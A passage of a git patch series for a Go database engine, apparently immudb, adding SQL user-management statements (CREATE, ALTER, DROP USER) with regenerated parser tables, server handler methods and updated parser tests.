: yypt+1] { yyVAL.integer = 0 } - case 68: + case 75: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 69: + case 76: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 70: + case 77: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 71: + case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 72: + case 79: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 73: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 74: + case 81: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 75: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 76: + case 83: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1203,28 +1257,28 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 77: + case 84: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } - case 78: + case 85: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } - case 79: + case 86: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } - case 80: + case 87: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1241,412 +1295,412 @@ yydefault: offset: yyDollar[13].exp, } } - case 81: + case 88: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 82: + case 89: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 83: + case 90: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 84: + case 91: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 85: + case 92: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 86: + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 87: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 88: + case 95: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 89: + case 96: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 90: + case 97: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 91: + case 98: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 92: + case 99: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 93: + case 100: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 94: + case 101: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 95: + case 102: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 96: + case 103: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 97: + case 104: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 98: + case 105: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 99: + case 106: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 100: + case 107: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 101: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 102: + case 109: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 103: + case 110: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 104: + case 111: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 105: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 106: + case 113: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 107: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 108: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 109: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 110: + case 117: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 111: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 112: + case 119: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 113: + case 120: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 114: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 115: + case 122: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 116: + case 123: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 117: + case 124: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 118: + case 125: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 119: + case 126: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 120: + case 127: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 121: + case 128: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 122: + case 129: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 123: + case 130: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 124: + case 131: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 125: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 126: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 127: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 128: + case 135: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 129: + case 136: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 130: + case 137: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 131: + case 138: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 132: + case 139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 133: + case 140: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 134: + case 141: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 135: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 136: + case 143: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 137: + case 144: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 138: + case 145: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 139: + case 146: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 140: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 141: + case 148: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 142: + case 149: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 143: + case 150: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 144: + case 151: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 145: + case 152: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 146: + case 153: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 147: + case 154: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 148: + case 155: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 149: + case 156: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 150: + case 157: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 151: + case 158: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 152: + case 159: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 153: + case 160: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 154: + case 161: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 155: + case 162: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 156: + case 163: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 157: + case 164: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 158: + case 165: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 159: + case 166: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 160: + case 167: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 161: + case 168: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index fe9e19b285..4fe81431fb 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -69,6 +69,14 @@ func IsNumericType(t SQLValueType) bool { return t == IntegerType || t == Float64Type } +type Permission = string + +const ( + PermissionReadOnly Permission = "READ" + PermissionReadWrite Permission = "READWRITE" + PermissionAdmin Permission = "ADMIN" +) + type AggregateFn = string const ( @@ -244,6 +252,70 @@ func (stmt *UseSnapshotStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, ErrNoSupported } +type CreateUserStmt struct { + username string + password string + permission Permission +} + +func (stmt *CreateUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (stmt *CreateUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if tx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: user creation can not be done within a transaction", ErrNonTransactionalStmt) + } + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } + + return nil, tx.engine.multidbHandler.CreateUser(ctx, stmt.username, stmt.password, stmt.permission) +} + +type AlterUserStmt struct { + username string + password string + permission Permission +} + +func (stmt *AlterUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (stmt *AlterUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if tx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: user modification can not be done within a transaction", ErrNonTransactionalStmt) + } + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } + + return nil, tx.engine.multidbHandler.AlterUser(ctx, stmt.username, stmt.password, stmt.permission) +} + +type DropUserStmt struct { + username string +} + +func (stmt *DropUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (stmt *DropUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if tx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: user deletion can not be done within a transaction", ErrNonTransactionalStmt) + } + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } + + return nil, tx.engine.multidbHandler.DropUser(ctx, stmt.username) +} + type CreateTableStmt struct { table string ifNotExists bool diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 23e49a35cf..f4e1f50201 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -97,6 +97,18 @@ func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) return nil, sql.ErrNoSupported } +func (h *dummyMultidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { + return sql.ErrNoSupported +} + +func (h *dummyMultidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error { + return sql.ErrNoSupported +} + +func (h *dummyMultidbHandler) DropUser(ctx context.Context, username string) error { + return sql.ErrNoSupported +} + func (h *dummyMultidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 0fc4578f03..5548832915 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -117,6 +117,92 @@ func (usr *User) Permission() uint32 { return usr.perm } +func permCode(permission sql.Permission) uint32 { + switch permission { + case sql.PermissionReadOnly: + { + return 1 + } + case sql.PermissionReadWrite: + { + return 2 + } + case sql.PermissionAdmin: + { + return 254 + } + } + return 0 +} + +func (h *multidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { + _, err := h.s.CreateUser(ctx, &schema.CreateUserRequest{ + User: []byte(username), + Password: []byte(password), + Permission: permCode(permission), + }) + return err +} + +func (h *multidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error { + _, user, err := h.s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return err + } + + db, err := h.s.getDBFromCtx(ctx, "ChangePassword") + if err != nil { + return err + } + + _, err = h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ + Username: username, + Active: true, + }) + if err != nil { + return err + } + + _, err = h.s.ChangePassword(ctx, &schema.ChangePasswordRequest{ + User: []byte(username), + OldPassword: []byte(user.HashedPassword), + NewPassword: []byte(password), + }) + if err != nil { + return err + } + + for _, perm := range user.Permissions { + if perm.Database == db.GetName() { + _, err := h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{ + Username: username, + Database: perm.Database, + Action: schema.PermissionAction_REVOKE, + Permission: perm.Permission, + }) + if err != nil { + return err + } + } + } + + _, err = h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{ + Username: username, + Database: db.GetName(), + Action: schema.PermissionAction_GRANT, + Permission: permCode(permission), + }) + return err +} + +func (h *multidbHandler) DropUser(ctx context.Context, username string) error { + _, err := h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ + Username: username, + Active: false, + }) + return err +} + func (h *multidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, From 166ed020f3b8d53abb197609176c80174ea637bc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 9 Nov 2023 13:21:38 +0100 Subject: [PATCH 0921/1062] test(embedded/sql): parser upgrade Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser_test.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 3dd030a28d..e8f7e1dfe8 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -49,7 +49,7 @@ func TestCreateDatabaseStmt(t *testing.T) { { input: "CREATE db1", expectedOutput: nil, - expectedError: errors.New("syntax error: unexpected IDENTIFIER, expecting DATABASE or TABLE or UNIQUE or INDEX at position 10"), + expectedError: errors.New("syntax error: unexpected IDENTIFIER at position 10"), }, } @@ -280,7 +280,7 @@ func TestCreateTableStmt(t *testing.T) { { input: "CREATE table1", expectedOutput: nil, - expectedError: errors.New("syntax error: unexpected IDENTIFIER, expecting DATABASE or TABLE or UNIQUE or INDEX at position 13"), + expectedError: errors.New("syntax error: unexpected IDENTIFIER at position 13"), }, { input: "CREATE TABLE table1", From 0d0916b6f37cda082999de13b7e2701482f37aec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 9 Nov 2023 13:22:18 +0100 Subject: [PATCH 0922/1062] chore(embedded/sql): user pwd Signed-off-by: Jeronimo Irazabal --- embedded/sql/sql_grammar.y | 4 +-- embedded/sql/sql_parser.go | 74 +++++++++++++++++++------------------- 2 files changed, 39 insertions(+), 39 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 6b06944fcb..8dc8f88d6b 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -260,12 +260,12 @@ ddlstmt: $$ = &DropColumnStmt{table: $3, colName: $6} } | - CREATE USER IDENTIFIER WITH PASSWORD IDENTIFIER permission + CREATE USER IDENTIFIER WITH PASSWORD VARCHAR permission { $$ = &CreateUserStmt{username: $3, password: $6, permission: $7} } | - ALTER USER IDENTIFIER WITH PASSWORD IDENTIFIER permission + ALTER USER IDENTIFIER WITH PASSWORD VARCHAR permission { $$ = &AlterUserStmt{username: $3, password: $6, permission: $7} } diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index bf107d9b53..39f1bc9b3a 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -287,24 +287,24 @@ var yyAct = [...]int16{ 309, 319, 95, 307, 277, 89, 108, 104, 216, 19, 175, 216, 310, 106, 107, 146, 250, 290, 109, 217, 99, 100, 101, 102, 103, 77, 308, 144, 145, 75, - 94, 271, 270, 269, 291, 98, 306, 267, 248, 246, + 94, 271, 270, 269, 291, 98, 214, 267, 248, 246, 140, 141, 143, 142, 234, 233, 124, 204, 215, 93, 139, 146, 95, 131, 150, 151, 108, 104, 286, 153, 245, 155, 238, 106, 107, 155, 230, 229, 109, 228, 99, 100, 101, 102, 103, 77, 140, 141, 143, 142, - 94, 169, 305, 189, 156, 98, 154, 152, 133, 130, + 94, 169, 306, 189, 156, 98, 154, 152, 133, 130, 118, 166, 117, 184, 22, 179, 352, 78, 170, 146, 78, 192, 193, 194, 195, 196, 197, 77, 313, 181, 183, 144, 145, 73, 247, 205, 208, 346, 312, 249, 235, 216, 146, 131, 140, 141, 143, 142, 203, 209, 120, 126, 146, 223, 144, 145, 146, 221, 210, 112, - 224, 88, 281, 272, 231, 145, 232, 140, 141, 143, - 142, 226, 129, 222, 236, 225, 202, 140, 141, 143, - 142, 244, 237, 143, 142, 30, 78, 61, 78, 165, - 171, 297, 31, 77, 128, 312, 283, 254, 123, 214, - 258, 213, 212, 211, 188, 260, 191, 190, 185, 182, - 266, 157, 134, 252, 188, 111, 81, 79, 41, 65, - 64, 110, 63, 60, 55, 54, 208, 172, 265, 227, + 224, 88, 191, 305, 231, 145, 232, 140, 141, 143, + 142, 226, 129, 222, 281, 225, 272, 140, 141, 143, + 142, 244, 237, 143, 142, 30, 78, 61, 236, 202, + 171, 78, 31, 77, 128, 312, 165, 297, 283, 254, + 258, 123, 213, 212, 211, 260, 188, 190, 185, 182, + 266, 157, 134, 252, 111, 81, 79, 41, 65, 64, + 63, 110, 60, 55, 54, 172, 208, 188, 265, 227, 282, 278, 43, 44, 45, 273, 149, 20, 288, 323, 304, 279, 243, 280, 62, 148, 292, 303, 137, 138, 287, 322, 296, 146, 298, 299, 300, 294, 293, 132, @@ -329,41 +329,41 @@ var yyAct = [...]int16{ var yyPact = [...]int16{ 280, -1000, -1000, 35, -1000, -1000, -1000, 305, -1000, -1000, - 373, 198, 365, 383, 299, 298, 271, 155, 230, 177, - 277, -1000, 280, -1000, 214, 214, 214, 345, 162, -1000, - 161, 385, 160, 181, 159, 157, 156, 155, 155, 155, - 290, -1000, 226, -1000, -1000, -1000, 57, -1000, -1000, 154, - 227, 153, 340, 214, 386, -1000, -1000, 381, 25, 25, - -1000, 152, 87, -1000, 354, 384, 32, 30, 258, 135, + 373, 198, 365, 383, 299, 298, 271, 154, 230, 177, + 277, -1000, 280, -1000, 214, 214, 214, 345, 161, -1000, + 160, 385, 159, 181, 157, 156, 155, 154, 154, 154, + 290, -1000, 226, -1000, -1000, -1000, 57, -1000, -1000, 153, + 227, 152, 340, 214, 386, -1000, -1000, 381, 25, 25, + -1000, 151, 87, -1000, 354, 384, 32, 30, 258, 138, 209, -1000, 265, -1000, 78, 131, -1000, 29, 71, -1000, 212, 28, 149, 338, 398, -1000, 25, 25, -1000, 289, 70, 192, -1000, 289, 289, 27, -1000, -1000, 289, -1000, -1000, -1000, -1000, -1000, 26, -1000, -1000, -1000, -1000, 1, - -1000, 24, 148, 320, 314, 315, 397, 126, 126, 403, - 289, 117, -1000, 165, -1000, -50, 123, -1000, -1000, 146, - 54, 145, -1000, 141, 23, 144, 143, -1000, -1000, 70, - 289, 289, 289, 289, 289, 289, 224, 225, 112, -1000, - 103, 107, 209, -14, 289, 289, 126, -1000, 141, 140, - 139, 138, 136, -13, 68, -1000, -42, 244, 344, 70, - 403, 135, 289, 403, 385, 234, 9, 7, 6, 131, - 5, 131, -1000, -16, -17, -1000, 67, -1000, 110, 126, + -1000, 24, 148, 320, 314, 315, 397, 133, 133, 403, + 289, 117, -1000, 163, -1000, -50, 123, -1000, -1000, 146, + 54, 145, -1000, 143, 23, 144, 95, -1000, -1000, 70, + 289, 289, 289, 289, 289, 289, 224, 225, 125, -1000, + 103, 107, 209, -14, 289, 289, 133, -1000, 143, 141, + 140, 139, -11, -13, 68, -1000, -42, 244, 344, 70, + 403, 138, 289, 403, 385, 234, 9, 7, 6, 131, + 5, 131, -1000, -16, -17, -1000, 67, -1000, 124, 133, 2, 392, 107, 107, 204, 204, 103, 22, -1000, 191, 289, 0, -1000, -22, -1000, 93, -23, 66, 70, -45, - -1000, -1000, 322, -1000, 392, 296, 134, 295, 242, 289, + -1000, -1000, 322, -1000, 392, 296, 136, 295, 242, 289, 337, 244, -1000, 70, 168, 131, -24, 371, -28, -29, - -30, -1000, -1000, -1000, -1000, 151, -72, -57, 126, -1000, - -1000, -1000, -1000, -1000, 103, -25, -1000, 98, -1000, 289, - -1000, 133, -1000, -2, -1000, -2, -1000, 289, 70, -26, - 242, 258, -1000, 168, 262, -1000, -1000, 131, 128, 131, - 131, 131, 309, -1000, 196, 37, -9, -1000, -58, -35, + -30, -1000, -1000, -1000, -1000, 164, -72, -57, 133, -1000, + -1000, -1000, -1000, -1000, 103, -25, -1000, 110, -1000, 289, + -1000, 135, -1000, -2, -1000, -2, -1000, 289, 70, -26, + 242, 258, -1000, 168, 262, -1000, -1000, 131, 134, 131, + 131, 131, 309, -1000, 196, 98, 37, -1000, -58, -35, -61, -49, 70, -1000, 122, -1000, 289, 65, 70, -1000, - -1000, 126, -1000, 255, -1000, -50, -1000, -60, -1000, -1000, + -1000, 133, -1000, 255, -1000, -50, -1000, -60, -1000, -1000, -1000, -26, 201, -1000, 188, -79, -63, -1000, -1000, -1000, -1000, -1000, -2, 288, -67, -64, 260, 247, 403, 131, -70, -1000, -1000, -1000, -1000, -1000, -1000, 281, -1000, -1000, - 236, 289, 125, 336, -1000, -1000, 284, 244, 246, 70, - 64, -1000, 289, -1000, 242, 125, 125, 70, -1000, 43, - 237, -1000, 125, -1000, -1000, -1000, 237, -1000, + 236, 289, 128, 336, -1000, -1000, 284, 244, 246, 70, + 64, -1000, 289, -1000, 242, 128, 128, 70, -1000, 43, + 237, -1000, 128, -1000, -1000, -1000, 237, -1000, } var yyPgo = [...]int16{ @@ -435,9 +435,9 @@ var yyChk = [...]int16{ 31, 31, 10, -12, -10, 83, -10, -49, 6, -36, -37, 93, 82, -26, -27, 100, 75, 76, 77, -19, 83, -20, 83, 96, -23, 83, -8, -9, 83, 100, - 83, 83, -36, -36, -36, -36, -36, -36, 71, 64, + 83, 87, -36, -36, -36, -36, -36, -36, 71, 64, 65, 68, 84, -6, 101, -36, -17, -16, -36, -10, - -9, 83, 83, 83, 83, 101, 93, 101, -42, 56, + -9, 83, 83, 83, 87, 101, 93, 101, -42, 56, 25, -49, -54, -36, -49, -28, -6, 15, 100, 100, 100, -45, -45, 101, 101, 93, 84, -10, 100, -57, 11, 12, 13, 71, -36, 100, 101, 61, 101, 93, @@ -971,12 +971,12 @@ yydefault: case 27: yyDollar = yyS[yypt-7 : yypt+1] { - yyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].id, permission: yyDollar[7].permission} + yyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } case 28: yyDollar = yyS[yypt-7 : yypt+1] { - yyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].id, permission: yyDollar[7].permission} + yyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } case 29: yyDollar = yyS[yypt-3 : yypt+1] From a03265107a83cce6411db9cc6f3dc788cd015103 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 10 Nov 2023 10:36:10 +0100 Subject: [PATCH 0923/1062] fix(pkg/server): user creation with multidbs Signed-off-by: Jeronimo Irazabal --- pkg/server/multidb_handler.go | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 5548832915..e694e01591 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -136,11 +136,18 @@ func permCode(permission sql.Permission) uint32 { } func (h *multidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { - _, err := h.s.CreateUser(ctx, &schema.CreateUserRequest{ + db, err := h.s.getDBFromCtx(ctx, "ChangePassword") + if err != nil { + return err + } + + _, err = h.s.CreateUser(ctx, &schema.CreateUserRequest{ User: []byte(username), Password: []byte(password), + Database: db.GetName(), Permission: permCode(permission), }) + return err } @@ -192,6 +199,7 @@ func (h *multidbHandler) AlterUser(ctx context.Context, username, password strin Action: schema.PermissionAction_GRANT, Permission: permCode(permission), }) + return err } From 8443633ff3f225fe02a6e6c8844cd7e299b93306 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Nov 2023 11:59:11 +0100 Subject: [PATCH 0924/1062] chore(pkg/server): require proper permissions at multidb handler Signed-off-by: Jeronimo Irazabal --- pkg/server/multidb_handler.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index e694e01591..9e8bb01936 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -136,7 +136,7 @@ func permCode(permission sql.Permission) uint32 { } func (h *multidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { - db, err := h.s.getDBFromCtx(ctx, "ChangePassword") + db, err := h.s.getDBFromCtx(ctx, "CreateUser") if 